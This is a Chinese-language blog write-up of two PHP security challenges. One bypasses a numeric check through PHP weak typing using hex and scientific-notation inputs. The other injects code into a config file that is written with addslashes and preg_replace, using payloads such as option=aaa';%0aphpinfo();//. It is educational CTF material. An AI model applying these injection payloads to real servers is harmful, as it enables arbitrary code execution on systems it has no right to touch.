PHP-Challenge-1

0x01 弱类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
show_source(__FILE__);
$flag = "xxxx";
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){ //5184000
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){ //7776000
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
?>

程序逻辑大致如下:

  1. 通过is_numeric判断time是否为数字
  2. 要求输入的time位于51840007776000之间
  3. 将输入的time转换为int并传入sleep()函数

如果真的将传入的time设置为上述的区间,那么程序的sleep()函数将会让我们一直等。

这里运用到PHP弱类型的性质就可以解决,is_numeric()函数支持十六进制字符串和科学记数法型字符串,而int强制转换下,会出现错误解析。

5184000 -> 0x4f1a00

因此第一种方法,我们可以传入?time=0x4f1a01

还有就是科学记数法类型的?time=5.184001e6,五秒钟还是可以等的。

0x02 配置文件写入问题

index.php

1
2
3
4
5
<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('xxxxx/option.php', $file);

xxxxx/option.php

1
2
3
<?php
$option='test';
?>

程序逻辑大致如下:

  1. 将传入的option参数进行addslashes()字符串转义操作
  2. 通过正则将$file中的test改为$str的值
  3. 将修改后的值写入文件

这个问题是在p师傅的知识星球里面提出来的,CHY师傅整理出来的,这种情景通常出现在配置文件写入中。

方法一:换行符突破

1
2
> ?option=aaa';%0aphpinfo();//
>

经过addslashes()处理过后,$str = aaa\‘;%0aphpinfo();//

通过正则匹配过后写入文件,option.php的内容变为如下内容

1
2
3
4
<?php 
$option='aaa\';
phpinfo();//';
?>

可以看出后一个单引号被转义,所以单引号并没有被闭合,那么phpinfo就不能执行,所以再进行一次写入。

?option=xxx

再次进行正则匹配时候,则会将引号里面的替换为xxx,此时option.php内容如下:

1
2
3
4
<?php
$option='xxx';
phpinfo();//';
?>

这时候就可以执行phpinfo

方法二:preg_replace()的转义

1
?option=aaa\';phpinfo();//

addslashes()转换过后$str = aaa\\\‘;phpinfo();//

经过preg_replace()匹配过后,会对\进行转义处理,所以写入的信息如下:

1
2
3
<?php
$option='aaa\\';phpinfo();//';
?>

总结

Reference:

http://www.cnblogs.com/iamstudy/articles/config_file_write_vue.html

P师傅知识星球

不断的学习

文章作者: L1nker4
文章链接: https://l1n.wang/PHP-Challenge-1/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 L1nker4